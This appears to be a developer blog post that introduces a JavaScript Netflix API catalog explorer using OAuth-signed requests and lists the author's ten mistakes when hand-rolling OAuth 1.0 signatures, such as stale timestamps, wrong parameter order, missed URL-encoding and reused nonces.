• Zoom in on Fargo:
  http://api.netflix.com/catalog/titles/movies/493387
• Fargo again, with expanded cast and synopsis:
  http://api.netflix.com/catalog/titles/movies/493387?expand=cast,synopsis

These are only a few examples; please see the REST API Reference for detailed information.

Things to Do and Notice

• When your results come back, just about any link that starts with http://api.netflix.com/catalog can be copied and pasted right back into the query blank for further exploration.
• A link to your OAuth-signed URL will magically appear under the iframe containing your results. If you click this it ought to open your results in a new page, so you can see exactly what OAuth did to your request string. This is very, very handy when you're wrestling with some of the more arcane aspects of the API, such as what needs to be URL-encoded.
• Use Netflix's handy expand parameter to avoid extra calls to the API. Any of the link attributes in the main tree should be expandable; details are in the API docs, which I am currently in the process of refactoring.
• To try out version 1.5 of the Netflix API, add v=1.5 to any query. Please note that expand behaves differently in version 1.5.

Don't Forget to Break It!

No, seriously. This is critical; you need to know what happens when things go wrong. Change your key or secret, or enter an URL that doesn't compute, and make note of the errors you get back.

Bad Ideas

• Trying to retrieve the entire catalog. (Okay, I admit it: I tried this myself. The resulting bolus of data choked my browser, and I had to reboot and recover some lost stuff that I hadn't saved.) Client apps should never need the entire catalog; if you are thinking about doing this, you are doing it Wrong.
• Using term search to power autocomplete. That's what /catalog/titles/autocomplete is for, folks; it's even been left free of OAuth requirements so people banging on it won't use up your daily quota of API calls.
• Putting this script into production anywhere. Although OAuth calls can be made using nothing but JavaScript, doing so will reveal your consumer key and shared secret on every call, which could lead to trouble if either item is hijacked and used by someone who is not you.

Other Important Resources

• If you'd like to play around with OAuth parameters, see the OAuth Test Page.
• To run signed-in calls to the Netflix API--accessing things like a specific user's queue--you'll want Flixo.
• Although it feels very GOOG-centric, the OAuth Playground has a spot under "Choose Your Scope" where you can enter any OAuth endpoint. Netflix works there.

The JavaScript Source

For the morbidly curious, here's how I got client-side OAuth to work in eighty lines of JavaScript. It may be worth looking at if you're a throwback like me who refuses to use a library he doesn't understand. The heavy lifting happens at the bottom of the script, from oAuthEscape on down, with much help from Paul Johnston's HMAC-SHA1 routine.

If you'd like to learn more about the various snakes that bit me while I was figuring it out, please see True OAuth Confessions, or Why My Hand-Rolled Calls All Blew Chunks.

Have fun, please let me know how it goes, and don't forget to read the documentation, at http://developer.netflix.com/. It will be better soon, I promise! :)

When I first encountered OAuth I bounced off the spec and a couple of libraries, which seem to be documented in a language created specifically to make guys like me give up in disgust.

Backup plan: I cracked into a couple of URL returns with Firebug, thought I understood what was going on, and plunged blindly in. (Famous last words: "It's just a string, right? How hard could it possibly be?")

My real mistake: not just blindly trusting the libraries to do the right thing. Seriously. Unless you've got the same thing wrong with you that I have with me and you absolutely cannot stand the idea of using something you don't fully understand, stop here and just go plug in a library.

So. Here begins my top ten list of horrible mistakes made while trying to reverse-engineer OAuth:

• My Timestamp was Stale
  Unless it's only a few minutes old, the URL somebody else generated isn't going to work. And forget about trying to copy and paste the one they show in the docs. If you're working in JavaScript, your client's clock needs to be within ten minutes of your API's clock. (WinXP under Parallels seems to lose track of time every once in a while; cue the sound of Nelson Muntz from The Simpsons: "Ha-hah!")
• The Parameters in my Signature Base String were Out of Alphabetical Order
  Note to self: oauth_signature_method comes BEFORE oauth_timestamp, and AFTER oauth_nonce. Parameters like foo and baz and qux might show up before or afterwards. Or during, depending on how psychotic the API you're trying to hit turns out to be.
• I Forgot a Question-Mark between my Request and my OAuth Payload
  Here's where you do NOT want an ampersand. You'll go blind trying to spot it.
• I Didn't URL-Encode my Signature
  Just because it came back in base-64 from my HMAC-SHA1 function didn't make it safe to fire off; there are plus-signs and equals-signs and other unsavory characters in many base-64 strings, and they all needed to be encoded.
• I Didn't URL-Encode All Illegal Characters
  Right, see, I was initially doing this with JavaScript, and uriEncodeComponent turned out not to fix exclamation points, asterisks, single-quotes, or parentheses.
• I URL-Encoded the Ampersands Separating my Method, URL, and Request Parameters
  The server needs those raw ampersands, so it can tell where to split the string you sent.
• I Didn't Append an Ampersand to my Consumer Secret to Make my Signature Key
  Another picky ampersand-related detail: when signing a request without a token secret I STILL needed to add an ampersand to the end of my consumer secret.
• I Used the Same Nonce, Over and Over and Over Again
  Turns out there is a special circle of Error 401 Hell reserved for people who re-use their nonces; this makes sense, if you think about the sort of replay attacks the spec is designed to prevent. Naturally you would need to READ the spec before thinking about this.
• I Generated a Random Nonce, but (you guessed it) Failed to URL-Encode It
  No need to be fancy with this; just pick a random 16-digit number. Don't (for instance) use every possible printable character.
• And, Finally: I URL-Encoded my Signature Key
  Yeah, I really did do this. It took days to unscrew. Not recommended.

Anyone else have something to confess? Let's hear it; it will be good for your soul, and will help our fellow pilgrims not to fall down the same holes we did.